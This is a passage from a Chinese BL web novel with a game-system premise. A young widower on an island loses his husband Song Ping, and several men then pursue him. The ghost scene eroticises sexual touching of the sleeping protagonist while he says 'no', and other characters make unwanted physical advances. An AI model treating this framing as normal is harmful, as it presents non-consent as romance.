龙保岐眉毛倒竖,“什么意思?不让我进去?光想拿瓜?” 几个问句朝枣芩抛过来,他自己也有点心虚了,吞咽口水,“……没。” “没是什么意思……你让不让我进去。” 十七八岁的男生正是爱乱想的时候,因为这句话,不知道想到什么,心猿意马,胸口发麻。 龙保岐扬扬桀骜的脸:“宋哥不在家,我作为亲戚,肯定要照顾你的,而且、你也我的青梅竹马。” 枣芩回头看了眼,阮秋白在他的注视下,进了衣柜,然后自己关好柜门,他放下心。 长久没等到他的回应,龙保岐表情顿了顿,“你不说话什么意思?” 枣芩抿着嘴巴,眼前的男生比他还小,他怎么样也轮不到对方照顾呀,搞得他好像很弱小的样子似的。 “我自己能照顾好我自己啊,而且他很快就回来了,大概就过会。” 就半天的事,谈什么照顾不照顾的。 龙保岐呼吸急促起来,被气的。 “枣芩,你真牛,他能照顾你我就不能?你嫌我小?我的工作可是进化淡水坐办公室的,而且只要淡季才需要工作,平时都能待在家。 我可不需要干苦力去海上,而且年纪小是优势,你难道没听说过十八岁的男生比……” 他话头忽然滞住,脸红得像中暑。 …… 枣芩扣扣脸侧,这是又在说什么? 第32章 第 32 章 最恶心小三了 空气沉默了。 枣芩对他话总是很少, 龙保岐自己心里也清楚,他也没对枣芩有过什么好脸色。 控制不住的对着他说一些刻薄话,期待看到他脸上因为自己而表情波动, 从而滋生出一种满足。 对方是个受虐狂才会喜欢跟他说话。 龙保岐感觉自己被浇了一盆水, 顿时像条湿漉漉的狗, 最后挣扎了一下, “我放下就走还不行吗,一秒钟都不多待。” 或许是他这幅和平时不同的模样让枣芩心软了下。 枣芩犹豫着, 拖长声音, “。那……行吧。” 话音刚落,龙保岐一下抬起头, 耳朵又竖起来,瞬间精神抖擞。 他单手抱着西瓜,另只手去拉门,枣芩还没反应过来, 他人已经朝着房间去了。 嘴里还说:“我也是怕你拿不动,你细胳膊细腿, 腰就够我一把,从小娇生惯养,力气肯定不大。” 枣芩忽然很想冲上去,对着他来一脚, 将他踹到在地, 踩着他的背哈哈大笑。 龙保岐进去后,打量起这间屋子。 其实他之前来过,但现在比起之前多了很多东西 ——包括第二个枕头。 他们睡在一起了。 他视线定了两秒,扭过头,走到桌子前放下西瓜, 顺势拿起水杯喝水,两口就喝完了。 枣芩站在一旁双臂环胸盯着他。 见他放下西瓜,没有一点要走的意思,有点急了,没好气问:“你怎么还不走啊?” “……刚进来就赶我走。”他眼皮跳了跳,岔开话题,“这里真凉快。” 枣芩睁大眼睛,错愕说:“明明你自己说的,放下就走。” 他太天真了,他不知道有些坏男人就是这样,上一秒说过的话下一秒就不认了。 如果此时进来的不是龙保岐,而是一个比阮秋白还过分的人,他都不能站在地上了。 而此时阮秋白还躲在距离他们不到4米的柜子里,听着他们说话。 龙保岐见他生气了,摸了下鼻子,讷讷道:“那我带你游泳去好不好?我看你的腿差不多好了。” 枣芩微顿,抿着嘴唇不说话。 外面倏的传来一阵脚步声,与此同时的,还有宋平厚重的嗓音,伴随着夏天海知了的叫声,携带几分压抑不住的愉悦,“老婆,回家了吗?” 枣芩呼吸滞停,看向衣柜。 完蛋,阮秋白还在里面! 而对面的龙保岐也慌乱起来,他呼吸微促,顺着枣芩的视线看去,三步并作两步,拉开了衣柜。 他正要躲进去,抬眼瞬间瞳孔地震。 阮秋白的身子露着一半,银眶眼镜倒映着光,看不出他的神色,但不难看出他略显凌乱的头发,狼狈的姿态。? 龙保岐僵硬回头看枣芩。 枣芩呆滞着,眼睛眨了眨,嗓音失声:“你干嘛开柜子啊!” 语气甚至带着几分埋怨意味,没有一点要解释的。 龙保岐眼下顾不得那么多,最后愤愤瞪了枣芩一眼,挤进去关上门。 枣芩站在原地,还是没明白,龙保岐在躲什么? 他小脸皱了皱,脑袋里面乱糟糟,小跑着去到院子开了门。 门开了三次,这次终于是这个院子真正的主人。 宋平身上发汗,提着大包的东西,进门就是一路上心心念念的老婆来迎接他。 枣芩嘴唇微张,面上透着藏不住的不知所措,小声说:“……你回来了。” 视线短暂覆盖阴影,枣芩蓦然被灼热身体抱住,对方的一只手臂在他后腰勒着,往下一滑,就到了屁股下面。 略一用力,直接让枣芩坐在了他结实的手臂上,跟抱小孩一样抱起来。枣芩绷着身体,朝他倾斜,细白手指攥起他肩膀的布料。 而宋平另一只手还提着一大包的东西。 【好家伙,大力士啊】 【嗯……好好伺候老婆】 【让你天天去外面,你家里现在藏着两个野男人,我都替你急】 枣芩脸热得不行。 “我们自己能走路,你放我下来、”枣芩被用这种姿势抱着,要是有人看到,他绝对要挖个地洞钻进去,再也不出来了。 宋平看着他咬住的唇,说:“在我们家里你可以不用走路。” 他脚步加快,迫不及待的进到屋内,将大包放在两人不睡的那一边,又半躬着背,放枣芩坐到炕边。 他站着打开包,一件一件往外掏,介绍着自己带回来的东西。 先是几件被特别包起来的衣服,他把它们全部拆开。 夏岛靠着的岸边,是比较繁华的城市,他买的都是城里售货员说现在最流行的衣服,大学生都去他店里,很适合枣芩穿。 他在看到这些衣服的时候,都能想象到枣芩穿上是什么模样。 还有新的被套枕套,是蓝白色的。 夏天太晒,他还买了擦脸的东西,说是可以防太阳。宋平没听懂一个擦脸的还能防太阳,但是买了。 最多的还是各式各样的小零食。 枣芩低头看着,睫毛乖顺,他拿起一袋小包的辣条,吞咽口水,问:“我现在能吃吗?” “都是你的。”宋平忙说。 枣芩立马撕开咬了一口,刚开始吃的时候很香,但是当咽下去之后,那种缠绕在舌尖的辣才开始作用。 没一会他的舌尖火烧似的,剩下的半块就那么拿在手里,扔也不是吃也不是。 他没忍住伸着点舌尖,“嘶”了声。脸上也开始泛红。 宋平心中一乱,紧张说:“怎么了?” “耗辣……”枣芩大着舌头,苦着脸说。 因为口水都被辣得多了。 宋平抱起他放到自己身上,蹙眉去看他嘴巴,原本粉色的唇都忽然变得通红,还亮晶晶的。 “水!”枣芩眼泪都要被辣出来了。 宋平立即起身去拿了水杯,却发现空空如也。 喝水并不算多的枣芩,今天把他留了一大杯水都喝干净了。 他赶紧又重新倒了一些给枣芩。 枣芩捧着搪瓷水杯,杯中的水是温的,但喝下去还是缓解了几分辣意。 宋平在他前面,看着他,又问:“怎么样了?” 枣芩摇摇头,“好多了。” 他手里还拿着剩下的那一半,红艳艳的,其实辣度再低一点,还挺好吃的。 不过辣辣的也很好吃。 “我船上仓库里面有饮料,还有冰棒和西瓜,现在要去吃吗?” 宋平刚问出口,枣芩眼睛一亮,立马点点头,毫不犹豫说:“真的吗,要!” 他看了一眼衣柜的方向,刚好也能让这两个人趁时间离开。 枣芩下了炕,手抓着他的衣角,催促男人,“我们现在就去吧。” 宋平顿了顿,没想到枣芩会这么开心,自己也没忍住笑,“好,现在就去,换新衣服吗?” “……还是算了。”枣芩轻拧着眉,一点都不想在三个人在场的情况下换衣服。 他揪揪自己的衣领,解释说:“万一吃东西弄到新衣服上怎么办?” 仅仅是吃东西之前不换新衣服,宋呈眼睛里跟自带滤镜似的,忽然认真说:“好爱干净。” …… 枣芩微怔,忍不住开心。他就喜欢别人夸他。 两人正准备出门,宋平视线突然定在桌子上、不属于他家的东西。 他沉默了秒,才故作无事问:“老婆,桌子上的西瓜是别人送的吗?” 枣芩被叫多了,已经习惯了对方这么叫他,不觉得又什么问题。 他看了眼,无所谓道:“某个小臭孩给的。” 他还在“小臭孩”三个字发了重音,就为让柜子里的人听清楚。 宋平问:“小龙?” 枣芩点点头。 宋平:“不用吃这个,船库里有冰的西瓜,比这个好吃。” 柜子里突然传出一声轻响,宋平随之敏锐看过去,正要过去打开查看,手被心脏狂跳的枣芩拉住。 枣芩飞快把剩下半块辣条塞进嘴里,着急忙慌,“我好辣呀,我们快点走吧。” 宋平收回视线,顾不上柜子了,去给枣芩拿水喝了两口,就出了门。 宋平的船有18米,就停靠在海边。 枣芩从来没见过这种船,新奇极了,四处环顾。 他跟着宋平进了仓库,仓库是用来放鱼的,为了保持新鲜,有很多冰,完全就是一个冰库。 枣芩看了一眼,宋平就让他去上面等着,下面可能会让他感冒。 没一会,宋平就抱着冰冰凉的西瓜上了甲板,还有一根冰棒和一个玻璃瓶的饮料,都最多吃一半,不让他多吃。 枣芩坐在阴影中,含着冰棒,面朝着海天一色的蓝海,海风习习吹起他的衣角。 夏岛的海被称为玻璃海,因为清澈的像玻璃。这里没有沙滩,海边只有鹅卵石,所以不被污染。 非常漂亮的风景,枣芩想。 而一旁看他的人也是这么想的。 宋平撩开他被风吹动的发丝,静静看着他。 枣芩回过头,以为他想吃冰棒,送到他面前,湿漉漉的开口:“你要吃吗?” 宋平原本是想说不的,可是看着冰棒上面的水色痕迹,点点头,就着枣芩的手咬了一口,直接咬去了一半。 枣芩:…… 好吧好吧,是他买的,他吃多少都没关系。 从他们出来就跟上的龙保岐站在不远处,蹙着眉,只觉得今天的海风吹得人脑子疼。 他不知道自己跟过来是为了什么,那两人本就是睡在一张床上的。 龙保岐眯着眼睛,看着同样跟过来的阮秋白,心底积压的郁闷化为一声嗤笑,说了句:“最恶心破坏别人家庭的小三了。” 说罢,转身就走。 阮秋白没言语,站了很久,看天看海看人。直到那两人有了起身的动作,才率先离开- 宋平说第二天一早要带着游客出海,他们现在都住在枣芩吃饭的那家旅馆里。 另一艘船没空,他倒是愿意赚这个钱。 枣芩怀疑游客就是玩家,也有种游戏将要迎来关键时刻的预感,立马说:“我也要跟你去。” 于是隔天一早。 船行驶出海,枣芩坐在甲板的椅子上,身上的衣服崭新。 浅蓝色与白色的格纹宽松衬衫,被风吹得贴着身体轮廓,他看着海面升起的日出。 有一男一女的游客结伴过来,大早上还戴着墨镜,女人操着不知道哪里的口音跟枣芩搭话,“你是宋大哥的爱人吗?” 爱人这个称呼枣芩还是第一次听,他愣了下,点点头。 两人坐在他旁边,女人笑着自我介绍,“你可以叫我阿香,叫他小刚,他是我男朋友。” 枣芩坐直身子,回应道:“我叫枣芩。” “我们昨天上船的时候,看到宋大哥给你买了好多东西呢,说是给他老婆买的,我当时就看到上面有你这件衣服,穿你身上真好看。”她笑容灿烂的夸奖。 枣芩有点不好意思,小声说:“谢谢。” 身旁有人站定,枣芩抬眼发现是宋平过来了。 第33章 第 33 章 我会照顾好嫂子的 阿香看到□□便问:“宋大哥, 咱们是十二点准时回去吧?” 宋平默不作声点点头,看得出他的注意力都在枣芩身上,落坐在了枣芩身侧, 紧紧贴着他。 阿香挑挑眉, 赶紧拉着自己男朋友走了, 就不自讨没趣打扰别人了。 枣芩见两人离开, 叹了口气,仰着雪白脸蛋, 身子一软, 懒懒靠在宋平身上。 宋平肩膀略微朝着他斜着,为了让他靠得舒服点。 ——这几个游客居然不是玩家, 而是真的npc。 枣芩察觉出来的时候满脸错愕,因为他实在想不通玩家会以什么样的方式出现了。 结果系统告诉他,不是所有副本都是多人本,会有单人本, 比如这个。 …… 搞不懂他早说是不是会死。 看到枣芩在宋平旁边那副小黏糕的样子,系统蓦然出声问:【你真把他当你老公了?】 枣芩动作一点都没变, 他现在已经不会因为老公什么的而害羞了,他已经进化了。 他只侧过脸,烦烦说:【要你管。】 系统一滞,收敛了存在感。 算下来枣芩认识宋平也没几天, 可就这么几天, 他很清晰感受得到宋平对他的好,对方真的把他当老婆在对待了。 再加上每晚睡在一起,自然会有亲近感。 枣芩随意扫视,却看到了两张不该出现在这里的面孔,他后知后觉从宋平肩膀爬起来, 盯着两人的方向。 龙保岐双臂环胸,背靠座椅,混在游客当中,视线瞥着这边,枣芩一看过去,他就挪开了视线。 阮秋白疏离侧脸对着他们,举着相机对海面风景拍照,那专注的样子比游客还像游客。? 枣芩转头问宋平:“他们两个怎么也在这里?” 宋平根据他的视线看过去,因为枣芩面带不悦、咬住的嘴唇愣了下。 精健手臂从他背后揽过,外人眼中,像是将枣芩整个包在怀里。 他垂头在枣芩耳边认真解释:“之前带游客出海,他也会跟着,他…帮助照顾游客,跟游客交流。” 枣芩指着阮秋白,手指尖都透着心虚。 这人真胆大,昨天在他的衣柜里差点被发现,今天都敢跟着来宋平船上。 “他呢、” “老婆,阮大夫也属于游客。”宋平微顿说:“只是住的时间久了一点,无论在这里发生什么,还是要走的。” 枣芩上船的时候整个人迷迷糊糊,还没睡醒,全程被宋平半搂半抱上来的。 他完全没发现这两人,想起昨天的事,难免有点尴尬,侧头去看海。 快到中午,游客们围坐在一起玩起了扑克牌,还朝宋平高于市场价买了饮料,饮料瓶子堆了一地。 枣芩也喝了半瓶,不想喝了就放在宋平手中。 枣芩虽然没有参与,但坐在旁边看还挺开心的,全都被他前面坐着的游客的输赢牵动着神经,紧紧抓住宋平的手。 宋平吞咽口水,很舍不得抽开,但时间差不多了,他在枣芩耳边说:“该回去了,我去开船。” “啊,嗯。”枣芩点点头,松开了宋平的手指,继续看他们嘻嘻哈哈的打牌。 没注意到宋平站起来的时候,高大身型略微晃了晃。 重物撞到地面的闷声自身后响起,枣芩刚开始并没反应过来,只当是什么东西掉到地上了。 可原本在打牌的游客动作一个接一个停住,看向枣芩身后地方,原本欢快的氛围瞬间消失不见,鸦雀无声。 甚至有人站起来,将牌丢下,眉头皱着离开位子。 枣芩有些茫然,也跟着回头去看,一切都像慢镜头。 他看到,木质的甲板上,说要去开船的宋平倒地不起,惨白脸上双目紧闭。 …… 第一个反应过来的是龙保岐,他三两步过去,俯身推着宋平,在他眼前挥了挥手,“哥?宋平,宋平?” 游客们试探性聚过去,有人紧着嗓子问:“宋大哥、这是怎么了?” 阮秋白冷肃开口:“散开点,让空气流通。” 他们又赶忙退开。 枣芩手指蜷着,还坐在原本的位置上,一动不敢动,目光愣愣地看着他们。 【系统……他,宋平要死了吗?】 系统没说话。 枣芩不知从何而来的怯意,他不敢过去,他觉得宋平可能是累着了或者中暑了。 阮秋白查看了宋平的情况,若有所思,眉头拧着对龙保岐说:“回岸上吧。” 枣芩抿着嘴巴,紧紧盯着躺在那里的宋平,直到船靠岸,游客一扫而空,龙保岐下去找人。 十来个岛上的中年男人忙不迭来了,一个个大喘气,空气像是被灌了水泥,让人呼吸不畅。 他们又是掐人中,又是泼水。直到最后,不知是谁抖着嗓子说:“宋平,断气了——” 岛上忽然猝死的人也有,但是很少有这么年轻的。 宋家没人,唯一留下的是二十不到的枣芩,说到底也才是个小孩,吓傻了似的呆呆坐在那里,仿佛被遗弃了。 “这可怎么办?” “……” “宋平是个好人,也不是没有帮过大家,他家里也不可能没钱,咱们最后送他一程。也看在我的面子上。” “对……先让人入土为安。” 枣芩脑袋空白,只觉得比上次还要突然。 明明刚刚才跟他说完最后一句话,紧接着就倒下在他身后。 宋平死了。 枣芩舔舔因心理冲击而发干的嘴唇,小声问:“他、他为什么会死啊?” 没有人听到他的声音。 当天宋平的遗体就被放到岛上的殡仪馆,枣芩忘记是谁把他送回去的。 他一个人坐在炕上,除了早上醒来宋平给他做的蛋羹垫肚子以外,一天都没有吃东西了。 天色已经暗下来,头顶明亮灯光照在枣芩泛白脸上,他乌暗睫毛在眼下透出一小块阴影,细细发颤。 枣芩关了灯缩进被窝,把头蒙住,闭上了眼睛。 他第一次觉得这个屋子这么空,仅仅是没有了一个人,就安静得可怕。 【系统……】枣芩心里念。 系统回应:【我在。】 可系统回答了枣芩也说不出话了,他有点冷。 明明是三伏天怎么样也不会冷的天,整个屋子却被一种新生的、不可名状的阴冷充斥,丝丝缕缕包裹枣芩身体。 他不明所以,垂着的睫毛发抖,紧紧裹住自己的被子,眼底湿着,随着这份阴冷的侵入,枣芩的意识也跟着变模糊。 分辨不出是谁的声音。 ——为什么? ——是你吗,是你做的吗?!是你杀了我吗?不可能…… ——老婆,你怎么不看我?你怎么不过来看我?老婆…… 祂还很脆弱,极度不稳定。 如果不是过于不甘心,过于痛苦,祂根本无法来到这里。 夜晚中的阴冷,以哀伤痛苦不甘为养料,缓缓爬去熟悉的被子里面,贴上柔软温热的纤软肉*体。 ——我还没有抚摸过你的身体。 生前想了很多次都没有做出过的举动,每次都因为觉得自己太过分而收敛,在死后,恶劣因子爬升,他撬开衣角,湿哒哒钻进了衣服下面。 …… “啊唔……唔”,睡梦中枣芩抑制不住挺胸,从喉咙里面溢出来一声声的哼哼唧唧,他闭着的眼皮细细的颤抖,很快晕染出一层薄红。 紧接着,一滴透明的眼泪从眼角滑落,慢悠悠的想落进头发里,却被祂侵占,消失不见。 人在面对很多大事的时候,往往是懵的,当下很难有过多的情绪。 龙保岐夜晚闲下来躺在炕上,才反应过来今天到底发生了什么,都有些不敢相信。 宋平居然就这么忽然死掉了,仿佛做梦一样。对方是他的表哥,他心中的触动不可能没有。 而枣芩,爱他的丈夫去世了,他现在是什么心情。他记得白天枣芩完全傻了,还是被阮秋白找人送回家的。 他家里此时此刻肯定就只有他一个,也不知道吃没吃饭?睡没睡?有没有一个人在哭? 他那么一个娇气的不行的性格,出了这种事情,连最后一个“家人”都没有了,他是不是觉得没有人保护他,没有人再爱他了。 小窝囊鬼,肯定一个人缩在被子里哭。 龙保岐胡乱抓了一把自己的头发,眉头紧皱,他脚一蹬起身,踩着夜色,大半夜跑起来。 木门不用费力气就开了,龙保岐进屋子前脚步顿了顿,里面没有点光亮,像是黑暗的巢穴。 他绷着神经,缓缓推开了房门。 月光映照中,比起视线看到的被子小鼓包,他首先听到了枣芩带着哭腔的细软叫声,一下又一下。 龙保岐脑子嗡了声,忙不迭过去,那柔软声音也随之近了。 枣芩应该是睡着了,呼吸却很重,嘴唇也张着,伴随着细密香气,他还在叫,“不要……” 他在说不要。 枣芩白天穿的衬衫没脱下,但扣子被解开了几颗,胸脯袒露着,不停起伏。 龙保岐表情一怔,僵着手指,缓缓过去拉起来遮住。 枣芩睡觉怎么都能弄成这样,简直像是、做了什么似的。 他凑到枣芩面前,不敢用太大的声音把他吓醒,声音放得很轻,“枣芩,芩芩,醒醒,你怎么了,做噩梦了?” 压着意识的阴冷退去,他缓缓撑开湿漉漉的睫毛,伸着手指去抓救命稻草,他的意识太过混乱,声音含糊嗫嚅,“老公,你回来了……” 只刚恢复了一点力气,他浑身还遍布粘湿冷汗,就伸着胳膊去抓对方。 手被握住,龙保岐呼吸发促吞咽口水。 枣芩把他认成宋平了吧,宋平已经死了,但是枣芩心里还不愿意承认,做梦都在梦见宋平。 他喉中发涩,单手擦拭过枣芩濡湿的脸庞,满脸都是湿的,都是为宋平流的眼泪。 “小龙?”枣芩手撑着,缓缓坐起身,意识清明起来,认出了对面的人,“这么晚了,你怎么来了?” “我妈叫我来看你!”龙保岐忙说,“她担心你,让我过来陪你。宋哥的事……你不要太难过了。” 枣芩垂下脸。 龙保岐:“已经不在的就是不在了,但活着的人要好好活着……只能接受现实。” 他咳了声:“我就在你旁边守着你,你好好睡觉、” 枣芩半晌才说:“谢谢啊。” 他今天晚上确实睡不好,如果不是猛然发觉龙保岐坐在他旁边,他都不知道自己居然睡过去了。 龙保岐凝视着枣芩刚开始皱起眉头的清丽小脸,等到他呼吸逐渐平稳,熟睡过去,才轻轻抚平。 随后他轻手轻脚上了床,躺在枣芩身旁,原本宋平的位置,心中怪异又舒坦。 他嗅着温软的香气,手臂搭在枣芩腰上,心脏剧烈的跳动,此生从未有过的快,好像快要跳出来。 他有点怕自己的心跳吵醒枣芩。 其实他刚刚还有话没说完。 宋平死了,枣芩没有了照顾他的人,成了少年寡夫,多么可怜。 他需要一个人照顾他,保护他,爱护他。 龙保岐之前听说过,很多地方都有哥哥去世后,弟弟和嫂子在一起的传统。 宋平是独生子,他身为宋平的表弟,有责任照顾自己的寡嫂,更别说他们还是一起长大的青梅竹马。 他想不到有人比他还合适。 抱着枣芩的腰,他把头埋进枣芩脖颈间,着魔似的贪婪呼吸他的味道。 他声音极轻,仿佛空气:“哥,我会照顾好嫂子的,你放心去吧。” 李聿离开后的第一次回岛,并没带太多的行李。 见到他的人都先是错愕,随后上前打招呼,在他故作友善搭腔几句后,每一个人都跟他提到的同件事情 ——他弟弟的丈夫,很不巧的,就在昨天刚刚去世。 他那个令人生厌的弟弟成了寡夫,彻底孤家寡人了。 第34章 第 34 章 白腿 夏岛面积很小, 主干道也只有两条,路边是大片茂密芦苇荡,飘摇的芦苇荡后面便是蔚蓝大海。 清凉海风吹过李聿的衣角, 他对这里的风景无感, 只觉得跟他离开时别无二致, 没有丝毫的发展。 他只带了几件必须用品, 走在回老房子的路上。 李聿是个从不回头看的人,但回到记忆中熟悉的地方, 难免想起了些以前的事。 ——关于他和枣芩。 枣家对他还算不错, 没有缺过什么,只除了存着让他照顾枣芩一辈子的心思。 枣芩十来岁时, 从外边听来了李聿是他父母给他定下的未婚夫,以后会和他结婚,天天在一起,死了都要埋在一起。 他看上去是相当不情愿的, 本身两个人就不合。李聿平时在父母面前还装一下,一旦两人相处, 就一句话都不说,冷脸做自己的事情。 他这幅样子把枣芩气得不轻,开始想法子故意折磨他。 光裸着脚踩他的枕头,吃饭时往他碗中扔自己不想吃的芹菜, 在父母面前撒娇卖乖让李聿给他洗内裤…… 都是一些低智的手段。 李聿依旧面不改色, 好像完全不在意,甚至还能在父母略带试探的目光下,笑着说一句:“我觉得弟弟就这样就很好。” 随后收获了枣芩一拳打在棉花上,更加憋屈气愤的表情。 或许就是这么一件件屈辱的小事堆积起来的,反应过来的时候, 他心底对枣芩的厌恶已经积压到,想起来就忍不住皱眉的程度。 知道枣芩和宋平结婚时,远在一千公里外的他其实同情了宋平几秒。 枣芩那骄纵任性的性格,宋平那种老实人对上只有被折磨一辈子的份。永远无法摆脱的吸血鬼。 于是,他从来没想到再次见到他的弟弟,会是这样一副场景。 枣芩很好认,皮肤白净的不像夏岛人,他也没想到只是枣芩的一个侧脸,自己就认出了对方。 才刚死了老公,此时就被一个看起来年纪不大的黑皮男生背在背上。 晨光铺撒下,眼睛半眯着昏昏欲睡,下巴放在黑皮男生宽阔肩膀上,随着他的动作轻轻摇晃。 记忆中明明是个长裤长衣还算保守的土帽,他父母年纪都大,也没什么审美,给他穿得都是一些他们觉得好看的衣服。 而现在,李聿眉头控制不住的拧起。 ——枣芩整个身体都趴在对方身上,两条大白腿从后面夹着男生的腰,被黑手一把把住,肉都陷进去一些弧度,从指缝挤出。 在他的角度来看,像没穿裤子。 而背着他的男生,目光发直,鼻孔都快冒血了,在路上乌龟爬似的走。 李聿盯着两人的身影,目光晦涩难言,隐隐压着窒闷的燥。 他之前想错了。枣芩还有可能朝着浪荡方向发展,露着腿让十七八岁血气方刚的男生背他。 【短裤都快卷成内裤了,小黑狗你什么居心!】 【嘶溜我舔】 脸侧皮肤是枣芩平稳轻缓的呼吸,他昨晚好像没睡好,今早醒来也一直迷迷糊糊,赖着不想起。这么热的天气,嘴里嘟囔着身上冷。 龙保岐要背他起来的时候,衣服往下扯了下,他在枣芩的锁骨下几厘米的位置看到了一处新鲜的红痕,还是条状的。 他擦了几下,没有一点弧度,确定那不是蚊子咬的。 想来想去,只能猜测是自己不小心弄的,凑过去轻轻吹了吹,枣芩脊背发颤,他察觉到赶紧直起腰。 背上贴着温软触感,隔着夏日轻薄的布料清晰传达。 枣芩简直像依赖宋平一样依赖他,他没忍住舔舔唇,轻轻揉了揉手中的腿肉。 朝前没几步,他就发现了向他走来的人。一个身着黑上衣的男人,他露着的腕骨戴着的手表,一看就不便宜。 走近龙保岐时嘴角扯动,露出了个仅代表友好的浅淡笑容,黑沉眼中看不出什么真诚。 龙保岐脚步顿住,薄唇紧抿,打量着男人陌生又熟悉的五官,眼神逐渐透出点讶异。 对方离开时龙保岐并没多大,但见过的次数也不少,李聿的变化太大,才让他多辨认了些时间。 没什么嘘寒问暖和客套话,对方也没有看一眼枣芩,只问:“小龙,你要去?” 龙保岐默了默,刚要回答,背上的人抱着他脖子的手松开,细白手指伸着,埋头发出两声猫叫似的哼哼声。终于在这时,缓慢抬头睁开眼。 他们面前不知道什么时候出现了一个男人,貌似正在和龙保岐说话,枣芩眨眨眼,连翘起的一点头发丝都表达着茫然。 这又是哪位?游客不是连夜都吓跑了吗? 他呆滞下,忽然意识到自己还被比他小的龙保岐背着,在被对面男人注视的情况下,他多少有点羞赧。 细声细气在龙保岐耳边说:“把我放下吧。” 他没注意到对面人微顿的表情,龙保岐没同意,“没事,马上到了。” 龙保岐也不意外枣芩忽视李聿的反应,毕竟李聿确实缺德,连他们父母去世的时候都没有回来,只听说给枣芩寄了笔钱。 枣芩讨厌他不想和他说话,都是应该的。 李聿却突然不识趣的开口,脸上露出的笑容比刚才都多了几分真切,幽深眸子注视枣芩,“小芩不认识哥哥了?”? 枣芩恍惚看着他,脑袋空白了秒,心里呼叫系统。 系统的解释来的及时,【李聿,你父母给你收养的哥哥,曾经短暂的是你的未婚夫。】 枣芩想起什么,再去看李聿,面前的这张脸一下子与他在老房子照片中看到的那张脸重和,只是多了几分成熟。 枣芩歪着脑袋,脱口而出:“你不是死了么?” 系统都说了,哥哥走后,父母又相继离世。 不对…… 空气凝滞着。 当事人李聿却没忍住,侧过头笑了声,打破了安静。可枣芩只觉得他笑得渗人,身体又贴近龙保岐,攥住了他的衣服布料。 龙保岐也察觉到了枣芩的态度,脸上也没什么友善表情,肃声说:“那我们先走了。” 他说着,就眉头皱了下,迈开步子。 李聿跟在他们身后,看了眼枣芩被裤子布料勒出形状的腿根,就挪开了,没意思。 他漫不经心道:“我也该去看看宋姨。” 毕竟也是照顾过他的人。 到家门口,枣芩才闹着要下来了,他也很要面子,不想让更多人知道他是被龙保岐背过来的了。 宋莲莲见到李聿惊讶不已,说起了很多小时候的事情,随后便是问他有没有结婚、恋爱。 李聿笑着说工作太忙。 “哎,多亏你回来着一趟。”宋莲莲唉声叹气,“你说这下小枣他对象没了,这下搞得。他岁数这么小,还不得靠你这个哥哥。” “你们从小一起长大,感情深厚,也不用培养。” 说的就像是枣芩必须有人照顾才能活下去。 李聿没有表态自己要不要照顾枣芩,也没去看枣芩,“宋姨你身体还好么?” 谁都看得出他没有那个意思,在岔开话题。 空气有点尴尬,枣芩作为中心人物更别提了。 “妈。”龙保岐忽然出声,认真说:“我能照顾的了他。” 他伸出手忽然去捏捏枣芩的脸颊,“而且你看他自己也会吃会喝的,也不需要别人照顾。” 枣芩被捏了脸颊肉也不生气,反而跟着他一块点头,“对啊,我自己可以照顾自己……我不需要别人照顾我的。” 更别说人家还不想照顾他了。 枣芩抿住唇,他不想提起宋平,一提起他,枣芩心里就有点不舒服,酸酸的。 他轻声说:“宋平给我留下了很多东西,而且还有姨姨你和小龙啊。” 最重要的是,他还要找出是谁害了宋平,完成任务。 宋莲莲看他这个样子,无奈叹口气。 要是让李聿把他接去陆地,那不就过上好日子了? 他跟李聿不是亲兄弟,到时候当夫妻说不定都没问题,当了夫妻,李聿肯定就会更尽心尽力照顾枣芩。 ……但枣芩留在身边,也挺好的。 趁着中午做饭的时间,枣芩偷偷溜了出去。 其实他本该在宋平去世当天就快点收集证据的,可是他不敢去看宋平,现在依旧不敢,想来想去,他想到了作为医生的阮秋白。 他一路小跑朝着阮秋白家去。 阮秋白听到开门声,放下手中定制的画笔,神色不悦,他一般把大门关上就代表他在休息,不见人。 可他随意侧眸,冷肃看过去,穿过半透明玻璃却看到了穿着短裤、被晒得皮肤泛红的枣芩。 要去盖画布的手停住了动作。 枣芩小心翼翼推开他的屋门,深色木门后,露出小半张昳丽的脸,“我要进来了。” 说完,没听到阮秋白的同意也没踏进来。 莫名的很讲礼貌。 阮秋白牙痒:“嗯,要我过去抱你吗?” 枣芩忙摇头,走进来时,枣芩气都没太喘匀就说:“阮秋白,我需要你帮忙。” 他也不知道阮秋白愿不愿意帮他,心中还有点忐忑,但目前来看他确实最适合的人选。 龙保岐太小了,说不定还没有他聪明呢。 阮秋白起身去给他倒水,端着水送到枣芩手中,也没问是什么忙,轻描淡写:“不急,看看我的新画。” 他握住枣芩细瘦手腕,拉到画架前。 画面上是蔚蓝天色下,两个年轻人在一艘船的甲板上,相互依偎在一起,一个靠着另一个的肩。色调温暖而美好,却并没有给人幸福的感觉,反而有种浓郁的旁观者。 这幅画是一个旁观者的视角,地面上还有着淡灰色的朦胧影子。 阮秋白在椅子上坐下。 枣芩对于画作没有什么鉴赏能力,但他也认真地看起来,只是越看,越觉得眼熟。 他首先认出了自己的衣服,那天去吃冰棍,连衣服都没有换,穿着那件白背心。 枣芩有些疑惑,微微凑近,终于发觉旁边人身形和宋平很像,就连这艘船,也非常像宋平的船。 只是枣芩从没用这种角度看过,一时没有认出来。 枣芩表情有点呆,“这是我和、宋平,你画我们干什么……?” 阮秋白没说话,仰头自下而上看他,一只手握着他的手腕,另一只手臂去箍他的腰,都没用什么力气,就把枣芩按在自己腿上坐下。 枣芩屁股落在他腿上的那一刻,表情就变了,他手按着阮秋白的手臂,就要挣扎站起身。 阮秋白说:“想我帮你什么,我都答应。” 听到这话,枣芩挣扎着要站起来的动作,忽的就停下来,他嘴巴抿抿,小声问:“真的?” 乖死了。 阮秋白看着他嘴唇近在咫尺,嗓音低哑,“真的,不骗你。” 稍微顿了顿,他就极具诱导性的问: “画你们两个的画,好看吗?” 枣芩坐在他腿上,看着他画的自己和别的男人的画,心里说不出的别扭,但还是说实话:“挺好看的。” “……” 阮秋白没回应他,枣芩也不知道自己是说对了还是说错了。 脖颈间被蹭着,阮秋白忽然急促起来的呼吸声喷洒在脖颈皮肤上,他不知道想到了什么,声音低沉说:“我好像在嫉妒。” 枣芩愣了愣,本能感觉有点慌,继续下去可能会有奇怪的事情。 他忙僵硬的扯回话题,“你答应要帮我,两个人力量大,一起找杀害宋平的凶手。不然、” “不然什么?”阮秋白并没有因为枣芩觉得宋平是被害而惊讶,仿佛早就知道了。 枣芩自己都觉得自己说的话丢脸,扭头抬着下巴,红着耳根,“不然我就不跟你好了。” 第35章 第 35 章 漂亮弟弟夜半敲门 阮秋白一愣, 忍俊不禁扬起点嘴角,“宝贝,跟你好着有好处, 威胁别人才管用。” 枣芩:…… 他呼吸乱了点, 